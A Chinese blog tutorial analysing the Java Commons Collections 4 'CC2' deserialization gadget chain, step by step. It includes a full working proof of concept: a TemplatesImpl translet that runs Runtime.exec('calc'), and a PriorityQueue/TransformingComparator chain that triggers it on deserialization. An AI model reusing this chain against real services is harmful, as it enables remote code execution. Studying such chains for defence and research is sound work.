Java--cc2链反序列化漏洞&超级清晰详细

00x1环境搭建

 

--jdk 1.8

--用maven在pom文件中添加cc库依赖

添加上下面:

    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>
    </dependencies>

 

 

 

 

 

00x2前置知识

Java cc链是什么,cc指的是commons-collections依赖库。它添加了许多强大的数据结构类型并且实现了各种集合工具类。

它被广泛的用于Java应用开发中。

 

PriorityQueue

PriorityQueue优先级队列是基于优先级堆的一种特殊队列,会给每个元素定义出”优先级“,取出数据的时候会按照优先级来取。

默认优先级队列会根据自然顺序来对元素排序。

而想要放入PriorityQueue的元素,就必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。

如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。

 

 

 可以看到它继承了AbstractQueue抽象类并且实现了Serializable接口,这就说明它支持反序列化

再来看看它重写的readObject()方法

 

 

 可以看到上面的方法会调用ObjectInputStream 的实例化对象s把queue中的数据进行反序列化

最后再用heapify();来对数据排序,再跟进一下heapify()方法

 

该方法调用siftDown()方法

 

 

 

 

 

在 comparator 属性不为空的情况下,调用 siftDownUsingComparator() 方法

 

 

 如果为空前面也提过了会创建Comparable比较器并调用compare()方法来排序

 

 

 

这样反序列化后的优先级队列就有了顺序。

 

TransformingComparator

这是触发漏洞的关键点,把Transformer执行点和PriorityQueue触发点结合起来。

用Transformer来装饰一个Comparator(比较器),通俗点说就是先把值给Transformer转换,再传递给Comparator比较。

初始化配置 Transformer和Comparator

 

 

compare()方法会先用this.transformer.transform(obj1)方法来转换两个要比较的值

然后再调用compare()方法比较。

 

 

TemplatesImpl

TemplatesImpl 的属性 _bytecodes 存储了类字节码

TemplatesImpl 类的部分方法可以使用这个类字节码去实例化这个类,这个类的父类需是 AbstractTranslet。

所以我们构造的恶意类TestTemplateslmpl里面有写到,该类extend AbstractTranslet:

 

 

在这个类的无参构造方法或静态代码块中写入恶意代码,再借 TemplatesImpl 之手实例化这个类触发恶意代码。

 

 

00x3漏洞利用分析

 

先来看看构造的恶意类TestTemplatesImpl:

package cc2;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TestTemplatesImpl extends AbstractTranslet {

    public TestTemplatesImpl() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

这里的TestTemplatesImpl()方法会取执行弹计算器命令

 

核心代码poc,这是网上找的一个poc

package cc2;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Poc {
    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl并转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("cc2.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();
        System.out.println(bytes);

        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();

        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});

        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance, "TestTemplatesImpl");

        //构造利用链
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        TransformingComparator transformer_comparator = new TransformingComparator(transformer);

        //触发漏洞
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //设置comparator属性
        Field field = queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, transformer_comparator);

        //设置queue属性
        field = queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //队列至少需要2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance};
        field.set(queue, objects);

        //序列化 ---> 反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }
}

 

来逐步分析

这里是用了javassist动态构造了我们恶意类的字节码,当然也可以直接编译成class文件,然后用二进制字节码来存储

 

 

之前学习fastjson反序列化的时候就是利用的TenplatesImpl已经详细分析过了,其中的_bytecodes属性和defineTransletClasses()方法。

这里是用ClassPool 和CtClass来生成恶意类的字节码

 

 

我们反射创建TemplatesImpl类,这没什么好说的,反射获取到了TemplatesImpl_instance对象作为TemplatesImpl类的实例化

 

 

通过Field来获取_bytecodes属性,这里调用的getDeclaredField()方法,并设置setAccessible(true);能获取到所有属性包括Privatie的

 

 

 

获取到_bytecodes属性后把我们生成的恶意类字节码bytes给set赋值到里面去

bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes}); 

 

之前分析过想调用到defineTransletClasses()方法就要保证  _name不为空,getTransletInstance()用defineTransletClasses()来加载字节码生成类

并且下面语句实例化恶意类

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

 

 

getTransletInstance()会去调用defineTransletClasses(),又会继续调用ClassLoader的defineClass来加载我们的字节码(这到ClassLoader已经底层类加载了)来生成恶意类

loader.defineClass(_bytecodes[i]);

 

 

 

 

所以接下来的poc是设置_name为我们的恶意类名,保证它不为空

 

 

通过ALT+F7 getTransletInstance()方法找到了在TemplatesImpl类中有一个newTransformerImpl()方法内部调用了getTransletInstance()方法能成功调用

 

 

那么再来看看这个newTransformerImpl()方法是什么

它会返回一个transformer,怎么调用这个方法呢?

    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

这里在网上找到:InvokerTransformer类中有一个transform()方法会根据传入的 iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法

并且这三个属性是根据InvokerTransformer类的构造传入的

然后通过InvokerTransformer类的transform()方法来调用newTransformerImpl()方法。

 

 

因此我们需要实现Transform和Serializable接口的类,这就是前面前置知识提到的TransformingComparator类了,他是满足的。

也就有了poc中的通过方法名newTransformerImpl()也就是我们想要调用到的方法

通过  InvokerTransformer类来获取到,这里可控属性transformer

将InvokerTransformer传递给TransformingComparator

 

 

 

现在链子以及构建好了,需要找到方法让它触发

这里需要的方法是既实现了Serializeable接口也就是重写了readObject()方法的,又要使用Comparator比较器的。

那么就是我们前面所提到的PriorityQueue集合了!!

该队列的comparator属性我们可以指定成TransformingComparator比较器的,这样就可以调用TransformingComparator的compare()方法了

并且把比较对象设置成TemplatesImpl类的对象

因此我们只需要在PriorityQueue集合中添加两个TemplatesImpl对象作为集合元素就可以触发之前构造的利用链。

 

先实例化一个PrioritQueue对象,我们可控comparator属性,填入两个元素

 

 

然后设置comparator的属性,通过Field获取到对应的属性,然后传入comparator和queue属性

注意这里因为是比较队列至少需要两个元素,所以我们传入两个TemplatesImpl_instance对象

 

 

接下来就是熟悉的序列化再反序列化出来了也就是模拟一边数据传输流了

 

 

然后成功执行了我们的恶意类,造成rce

 

 

 

 

00x4总结

 

最后花了一个小时重新整理出来的一个完整cc2链调用过程,是逆序的,确实这个分析起来比较绕

 

 


参考:

https://blog.csdn.net/qq_35733751/article/details/118890261

https://su18.org/post/ysoserial-su18-2/#commonscollections2

posted @ 2021-12-30 17:04  Erichas  阅读(1772)  评论(2编辑  收藏  举报